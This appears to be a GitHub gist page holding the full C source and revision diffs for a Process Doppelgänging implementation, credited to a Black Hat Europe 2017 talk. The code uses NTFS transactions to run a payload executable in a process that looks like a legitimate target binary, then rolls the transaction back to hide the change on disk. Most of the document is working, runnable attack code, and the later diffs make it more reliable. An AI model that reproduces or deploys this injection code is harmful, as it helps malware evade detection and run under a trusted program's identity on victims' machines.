Skip to content

Instantly share code, notes, and snippets.

@hfiref0x
Last active May 24, 2025 12:49
Show Gist options
  • Save hfiref0x/a9911a0b70b473281c9da5daea9a177f to your computer and use it in GitHub Desktop.
Save hfiref0x/a9911a0b70b473281c9da5daea9a177f to your computer and use it in GitHub Desktop.

Revisions

  1. hfiref0x revised this gist Dec 17, 2017. 1 changed file with 2 additions and 2 deletions.
    4 changes: 2 additions & 2 deletions inject.c
    Original file line number Diff line number Diff line change
    @@ -212,8 +212,8 @@ VOID ProcessDoppelgänging(
    //
    // Create process parameters block.
    //
    RtlInitUnicodeString(&ustr, L"C:\\windows\\system32\\svchost.exe");
    //RtlInitUnicodeString(&ustr, lpTargetApp);
    //RtlInitUnicodeString(&ustr, L"C:\\windows\\system32\\svchost.exe");
    RtlInitUnicodeString(&ustr, lpTargetApp);
    status = RtlCreateProcessParametersEx(&ProcessParameters,
    &ustr,
    NULL,
  2. hfiref0x revised this gist Dec 17, 2017. 1 changed file with 26 additions and 8 deletions.
    34 changes: 26 additions & 8 deletions inject.c
    Original file line number Diff line number Diff line change
    @@ -2,6 +2,10 @@
    // Ref = src
    // https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf
    //
    // Credits:
    // Vyacheslav Rusakov @swwwolf
    // Tom Bonner @thomas_bonner
    //

    #include <Windows.h>
    #include <ntstatus.h>
    @@ -121,6 +125,9 @@ VOID ProcessDoppelgänging(
    break;
    }

    CloseHandle(hFile);
    hFile = INVALID_HANDLE_VALUE;

    //
    // Write buffer into transaction.
    //
    @@ -144,6 +151,18 @@ VOID ProcessDoppelgänging(
    break;
    }

    status = NtRollbackTransaction(hTransaction, TRUE);
    if (!NT_SUCCESS(status)) {
    OutputDebugString(L"NtRollbackTransaction(hTransaction) failed");
    break;
    }

    NtClose(hTransaction);
    hTransaction = NULL;

    CloseHandle(hTransactedFile);
    hTransactedFile = INVALID_HANDLE_VALUE;

    //
    // Create process object with transacted section.
    //
    @@ -193,7 +212,8 @@ VOID ProcessDoppelgänging(
    //
    // Create process parameters block.
    //
    RtlInitUnicodeString(&ustr, lpTargetApp);
    RtlInitUnicodeString(&ustr, L"C:\\windows\\system32\\svchost.exe");
    //RtlInitUnicodeString(&ustr, lpTargetApp);
    status = RtlCreateProcessParametersEx(&ProcessParameters,
    &ustr,
    NULL,
    @@ -275,12 +295,6 @@ VOID ProcessDoppelgänging(
    break;
    }

    status = NtRollbackTransaction(hTransaction, TRUE);
    if (!NT_SUCCESS(status)) {
    OutputDebugString(L"NtRollbackTransaction(hTransaction) failed");
    break;
    }

    } while (bCond);

    if (hTransaction)
    @@ -293,11 +307,15 @@ VOID ProcessDoppelgänging(
    NtClose(hThread);
    if (hTransactedFile != INVALID_HANDLE_VALUE)
    CloseHandle(hTransactedFile);
    if (hFile != INVALID_HANDLE_VALUE)
    CloseHandle(hFile);
    if (Buffer != NULL) {
    sz = 0;
    NtFreeVirtualMemory(NtCurrentProcess(), &Buffer, &sz, MEM_RELEASE);
    }

    if (ProcessParameters) {
    RtlDestroyProcessParameters(ProcessParameters);
    }
    }

    void main()
  3. hfiref0x revised this gist Dec 14, 2017. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion inject.c
    Original file line number Diff line number Diff line change
    @@ -295,7 +295,7 @@ VOID ProcessDoppelgänging(
    CloseHandle(hTransactedFile);
    if (Buffer != NULL) {
    sz = 0;
    NtFreeVirtualMemory(NtCurrentProcess(), Buffer, &sz, MEM_RELEASE);
    NtFreeVirtualMemory(NtCurrentProcess(), &Buffer, &sz, MEM_RELEASE);
    }

    }
  4. hfiref0x revised this gist Dec 13, 2017. 1 changed file with 2 additions and 2 deletions.
    4 changes: 2 additions & 2 deletions inject.c
    Original file line number Diff line number Diff line change
    @@ -116,15 +116,15 @@ VOID ProcessDoppelgänging(
    //
    // Read payload file to the buffer.
    //
    if (!ReadFile(hFile, Buffer, fsz.LowPart, NULL, NULL)) {
    if (!ReadFile(hFile, Buffer, fsz.LowPart, &ReturnLength, NULL)) {
    OutputDebugString(L"ReadFile(hFile, Buffer) failed");
    break;
    }

    //
    // Write buffer into transaction.
    //
    if (!WriteFile(hTransactedFile, Buffer, fsz.LowPart, NULL, NULL)) {
    if (!WriteFile(hTransactedFile, Buffer, fsz.LowPart, &ReturnLength, NULL)) {
    OutputDebugString(L"WriteFile(hTransactedFile, Buffer) failed");
    break;
    }
  5. hfiref0x created this gist Dec 13, 2017.
    313 changes: 313 additions & 0 deletions inject.c
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,313 @@
    //
    // Ref = src
    // https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf
    //

    #include <Windows.h>
    #include <ntstatus.h>
    #include "ntos.h"

    VOID ProcessDoppelgänging(
    _In_ LPWSTR lpTargetApp,
    _In_ LPWSTR lpPayloadApp)
    {
    BOOL bCond = FALSE;
    NTSTATUS status;
    HANDLE hTransaction = NULL, hTransactedFile = INVALID_HANDLE_VALUE, hFile = INVALID_HANDLE_VALUE;
    HANDLE hSection = NULL, hProcess = NULL, hThread = NULL;
    LARGE_INTEGER fsz;
    ULONG ReturnLength = 0;
    ULONG_PTR EntryPoint = 0, ImageBase = 0;
    PVOID Buffer = NULL, MemoryPtr = NULL;
    SIZE_T sz = 0;
    PEB *Peb;

    PROCESS_BASIC_INFORMATION pbi;

    PRTL_USER_PROCESS_PARAMETERS ProcessParameters = NULL;

    OBJECT_ATTRIBUTES obja;
    UNICODE_STRING ustr;

    BYTE temp[0x1000];

    do {
    RtlSecureZeroMemory(&temp, sizeof(temp));

    //
    // Create TmTx transaction object.
    //
    InitializeObjectAttributes(&obja, NULL, 0, NULL, NULL);
    status = NtCreateTransaction(&hTransaction,
    TRANSACTION_ALL_ACCESS,
    &obja,
    NULL,
    NULL,
    0,
    0,
    0,
    NULL,
    NULL);

    if (!NT_SUCCESS(status)) {
    OutputDebugString(L"NtCreateTransaction fail");
    break;
    }

    //
    // Open target file for transaction.
    //
    hTransactedFile = CreateFileTransacted(lpTargetApp,
    GENERIC_WRITE | GENERIC_READ,
    0,
    NULL,
    OPEN_EXISTING,
    FILE_ATTRIBUTE_NORMAL,
    NULL,
    hTransaction,
    NULL,
    NULL);

    if (hTransactedFile == INVALID_HANDLE_VALUE) {
    OutputDebugString(L"CreateFileTransacted fail");
    break;
    }

    //
    // Open file payload.
    //
    hFile = CreateFile(lpPayloadApp,
    GENERIC_READ,
    0,
    NULL,
    OPEN_EXISTING,
    FILE_ATTRIBUTE_NORMAL,
    NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
    OutputDebugString(L"CreateFile(target) failed");
    break;
    }

    //
    // Query payload file size.
    //
    if (!GetFileSizeEx(hFile, &fsz)) {
    OutputDebugString(L"GetFileSizeEx(target) failed");
    break;
    }

    //
    // Allocate buffer for payload file.
    //
    Buffer = NULL;
    sz = (SIZE_T)fsz.LowPart;
    status = NtAllocateVirtualMemory(NtCurrentProcess(),
    &Buffer,
    0,
    &sz,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_READWRITE);

    if (!NT_SUCCESS(status)) {
    OutputDebugString(L"NtAllocateVirtualMemory(fsz.LowPart) failed");
    break;
    }

    //
    // Read payload file to the buffer.
    //
    if (!ReadFile(hFile, Buffer, fsz.LowPart, NULL, NULL)) {
    OutputDebugString(L"ReadFile(hFile, Buffer) failed");
    break;
    }

    //
    // Write buffer into transaction.
    //
    if (!WriteFile(hTransactedFile, Buffer, fsz.LowPart, NULL, NULL)) {
    OutputDebugString(L"WriteFile(hTransactedFile, Buffer) failed");
    break;
    }

    //
    // Create section from transacted file.
    //
    status = NtCreateSection(&hSection,
    SECTION_ALL_ACCESS,
    NULL,
    0,
    PAGE_READONLY,
    SEC_IMAGE,
    hTransactedFile);
    if (!NT_SUCCESS(status)) {
    OutputDebugString(L"NtCreateSection(hTransactedFile) failed");
    break;
    }

    //
    // Create process object with transacted section.
    //
    //
    // Warning: due to MS brilliant coding skills (NULL ptr dereference)
    // this call will trigger BSOD on Windows 10 prior to RS3.
    //
    hProcess = NULL;
    status = NtCreateProcessEx(&hProcess,
    PROCESS_ALL_ACCESS,
    NULL,
    NtCurrentProcess(),
    PS_INHERIT_HANDLES,
    hSection,
    NULL,
    NULL,
    FALSE);

    if (!NT_SUCCESS(status)) {
    OutputDebugString(L"NtCreateProcessEx(hSection) failed");
    break;
    }

    //
    // Query payload file entry point value.
    //
    status = NtQueryInformationProcess(hProcess,
    ProcessBasicInformation,
    &pbi,
    sizeof(PROCESS_BASIC_INFORMATION),
    &ReturnLength);

    if (!NT_SUCCESS(status)) {
    OutputDebugString(L"NtQueryInformationProcess failed");
    break;
    }

    status = NtReadVirtualMemory(hProcess, pbi.PebBaseAddress, &temp, 0x1000, &sz);
    if (!NT_SUCCESS(status)) {
    OutputDebugString(L"NtReadVirtualMemory failed");
    break;
    }

    EntryPoint = (ULONG_PTR)RtlImageNtHeader(Buffer)->OptionalHeader.AddressOfEntryPoint;
    EntryPoint += (ULONG_PTR)((PPEB)temp)->ImageBaseAddress;

    //
    // Create process parameters block.
    //
    RtlInitUnicodeString(&ustr, lpTargetApp);
    status = RtlCreateProcessParametersEx(&ProcessParameters,
    &ustr,
    NULL,
    NULL,
    &ustr,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    RTL_USER_PROC_PARAMS_NORMALIZED);

    if (!NT_SUCCESS(status)) {
    OutputDebugString(L"RtlCreateProcessParametersEx failed");
    break;
    }

    //
    // Allocate memory in target process and write process parameters block.
    //
    sz = ProcessParameters->EnvironmentSize + ProcessParameters->MaximumLength;
    MemoryPtr = ProcessParameters;

    status = NtAllocateVirtualMemory(hProcess,
    &MemoryPtr,
    0,
    &sz,
    MEM_RESERVE | MEM_COMMIT,
    PAGE_READWRITE);

    if (!NT_SUCCESS(status)) {
    OutputDebugString(L"NtAllocateVirtualMemory(ProcessParameters) failed");
    break;
    }

    sz = 0;
    status = NtWriteVirtualMemory(hProcess,
    ProcessParameters,
    ProcessParameters,
    ProcessParameters->EnvironmentSize + ProcessParameters->MaximumLength,
    &sz);

    if (!NT_SUCCESS(status)) {
    OutputDebugString(L"NtWriteVirtualMemory(ProcessParameters) failed");
    break;
    }

    //
    // Update PEB->ProcessParameters pointer to newly allocated block.
    //
    Peb = pbi.PebBaseAddress;
    status = NtWriteVirtualMemory(hProcess,
    &Peb->ProcessParameters,
    &ProcessParameters,
    sizeof(PVOID),
    &sz);
    if (!NT_SUCCESS(status)) {
    OutputDebugString(L"NtWriteVirtualMemory(Peb->ProcessParameters) failed");
    break;
    }

    //
    // Create primary thread.
    //
    hThread = NULL;
    status = NtCreateThreadEx(&hThread,
    THREAD_ALL_ACCESS,
    NULL,
    hProcess,
    (LPTHREAD_START_ROUTINE)EntryPoint,
    NULL,
    FALSE,
    0,
    0,
    0,
    NULL);
    if (!NT_SUCCESS(status)) {
    OutputDebugString(L"NtCreateThreadEx(EntryPoint) failed");
    break;
    }

    status = NtRollbackTransaction(hTransaction, TRUE);
    if (!NT_SUCCESS(status)) {
    OutputDebugString(L"NtRollbackTransaction(hTransaction) failed");
    break;
    }

    } while (bCond);

    if (hTransaction)
    NtClose(hTransaction);
    if (hSection)
    NtClose(hSection);
    if (hProcess)
    NtClose(hProcess);
    if (hThread)
    NtClose(hThread);
    if (hTransactedFile != INVALID_HANDLE_VALUE)
    CloseHandle(hTransactedFile);
    if (Buffer != NULL) {
    sz = 0;
    NtFreeVirtualMemory(NtCurrentProcess(), Buffer, &sz, MEM_RELEASE);
    }

    }

    void main()
    {
    ProcessDoppelgänging(L"C:\\test\\target.exe", L"C:\\test\\payload.exe");
    ExitProcess(0);
    }

    /*
    void main()
    {
    MessageBox(GetDesktopWindow(), L"Surprise motherfucker", NULL, MB_ICONINFORMATION);
    }*/